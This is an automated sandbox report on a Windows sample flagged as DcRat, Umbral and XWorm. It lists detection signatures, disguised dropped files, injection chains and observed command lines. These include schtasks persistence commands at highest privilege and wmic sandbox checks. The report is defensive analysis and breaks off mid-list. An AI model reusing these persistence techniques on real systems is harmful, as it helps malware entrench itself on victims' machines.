Malware Analysis Report

2024-10-10 10:02

Sample ID 240518-brk9jsdd57
Target aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe
SHA256 aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28
Tags
dcrat umbral xworm execution infostealer rat stealer trojan spyware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28

Threat Level: Known bad

The file aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe was found to be: Known bad.

Malicious Activity Summary

dcrat umbral xworm execution infostealer rat stealer trojan spyware

Process spawned unexpected child process

Detect Xworm Payload

Umbral

Xworm

Detect Umbral payload

DcRat

Detects Windows executables referencing non-Windows User-Agents

Detects executables containing possible sandbox system UUIDs

DCRat payload

Detects executables containing possible sandbox analysis VM usernames

Detects executables attemping to enumerate video devices using WMI

Detects executables containing possible sandbox analysis VM names

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Reads user/profile data of web browsers

Executes dropped EXE

Drops startup file

Loads dropped DLL

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Drops file in Windows directory

Drops file in Program Files directory

Enumerates physical storage devices

Unsigned PE

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Creates scheduled task(s)

Uses Task Scheduler COM API

Detects videocard installed

Runs ping.exe

Views/modifies file attributes

Suspicious use of AdjustPrivilegeToken

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-18 01:22

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-18 01:22

Reported

2024-05-18 01:25

Platform

win7-20240215-en

Max time kernel

148s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe"

Signatures

DcRat

rat infostealer dcrat

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

Umbral

stealer umbral

Xworm

trojan rat xworm

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects Windows executables referencing non-Windows User-Agents

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables attemping to enumerate video devices using WMI

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox analysis VM names

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox analysis VM usernames

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox system UUIDs

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Windows Media Player\en-US\sppsvc.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files (x86)\Windows Media Player\en-US\0a1fd5f707cd16 C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files\Uninstall Information\lsass.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files\Uninstall Information\6203df4a6bafc7 C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\Chainprovider.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\79ee6d3de8e076 C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files (x86)\Windows Media Player\en-US\cmd.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files (x86)\Windows Media Player\en-US\ebf1f9fa8afd6d C:\perfdhcpSvc\Chainprovider.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Migration\lsm.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Windows\Migration\101b941d020240 C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Windows\SoftwareDistribution\Download\d881ecfb1357f383d18f1e4fd0554eb0\cbshandler\csrss.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Windows\SoftwareDistribution\Download\d881ecfb1357f383d18f1e4fd0554eb0\cbshandler\886983d96e3d3e C:\perfdhcpSvc\Chainprovider.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Umbral.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\perfdhcpSvc\Chainprovider.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A
Token: SeDebugPrivilege N/A C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3000 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\Nursultan (17).exe
PID 3000 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\Nursultan (17).exe
PID 3000 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\Nursultan (17).exe
PID 3000 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\t.bat
PID 3000 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\t.bat
PID 3000 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\t.bat
PID 3000 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\t.bat
PID 3000 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Windows\system32\conhost.exe
PID 3000 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Windows\system32\conhost.exe
PID 3000 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Windows\system32\conhost.exe
PID 2584 wrote to memory of 2288 N/A C:\Users\Admin\AppData\Roaming\t.bat C:\Windows\SysWOW64\WScript.exe
PID 2584 wrote to memory of 2288 N/A C:\Users\Admin\AppData\Roaming\t.bat C:\Windows\SysWOW64\WScript.exe
PID 2584 wrote to memory of 2288 N/A C:\Users\Admin\AppData\Roaming\t.bat C:\Windows\SysWOW64\WScript.exe
PID 2584 wrote to memory of 2288 N/A C:\Users\Admin\AppData\Roaming\t.bat C:\Windows\SysWOW64\WScript.exe
PID 2640 wrote to memory of 2500 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\Nursultan.exe
PID 2640 wrote to memory of 2500 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\Nursultan.exe
PID 2640 wrote to memory of 2500 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\Nursultan.exe
PID 2640 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\LoaderMas.exe
PID 2640 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\LoaderMas.exe
PID 2640 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\LoaderMas.exe
PID 2652 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2652 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2652 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2288 wrote to memory of 2012 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2288 wrote to memory of 2012 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2288 wrote to memory of 2012 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2288 wrote to memory of 2012 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2012 wrote to memory of 2524 N/A C:\Windows\SysWOW64\cmd.exe C:\perfdhcpSvc\Chainprovider.exe
PID 2012 wrote to memory of 2524 N/A C:\Windows\SysWOW64\cmd.exe C:\perfdhcpSvc\Chainprovider.exe
PID 2012 wrote to memory of 2524 N/A C:\Windows\SysWOW64\cmd.exe C:\perfdhcpSvc\Chainprovider.exe
PID 2012 wrote to memory of 2524 N/A C:\Windows\SysWOW64\cmd.exe C:\perfdhcpSvc\Chainprovider.exe
PID 2524 wrote to memory of 2724 N/A C:\perfdhcpSvc\Chainprovider.exe C:\Windows\System32\cmd.exe
PID 2524 wrote to memory of 2724 N/A C:\perfdhcpSvc\Chainprovider.exe C:\Windows\System32\cmd.exe
PID 2524 wrote to memory of 2724 N/A C:\perfdhcpSvc\Chainprovider.exe C:\Windows\System32\cmd.exe
PID 2724 wrote to memory of 1888 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 2724 wrote to memory of 1888 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 2724 wrote to memory of 1888 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 2968 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 1548 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 1548 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 1548 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2968 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2724 wrote to memory of 2504 N/A C:\Windows\System32\cmd.exe C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe
PID 2724 wrote to memory of 2504 N/A C:\Windows\System32\cmd.exe C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe
PID 2724 wrote to memory of 2504 N/A C:\Windows\System32\cmd.exe C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe

"C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe"

C:\Users\Admin\AppData\Roaming\Nursultan (17).exe

"C:\Users\Admin\AppData\Roaming\Nursultan (17).exe"

C:\Users\Admin\AppData\Roaming\t.bat

"C:\Users\Admin\AppData\Roaming\t.bat"

C:\Users\Admin\AppData\Roaming\Umbral.exe

"C:\Users\Admin\AppData\Roaming\Umbral.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\perfdhcpSvc\LUps3wjkA6jhdk7xRy8J55z2u.vbe"

C:\Users\Admin\AppData\Roaming\Nursultan.exe

"C:\Users\Admin\AppData\Roaming\Nursultan.exe"

C:\Users\Admin\AppData\Roaming\LoaderMas.exe

"C:\Users\Admin\AppData\Roaming\LoaderMas.exe"

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\perfdhcpSvc\mStUjP0ksX5N.bat" "

C:\perfdhcpSvc\Chainprovider.exe

"C:\perfdhcpSvc\Chainprovider.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 9 /tr "'C:\Nurik\cmd.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Nurik\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Nurik\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "ChainproviderC" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\Chainprovider.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Chainprovider" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\Chainprovider.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "ChainproviderC" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\Chainprovider.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Media Player\en-US\cmd.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\en-US\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Media Player\en-US\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\System.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\System.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

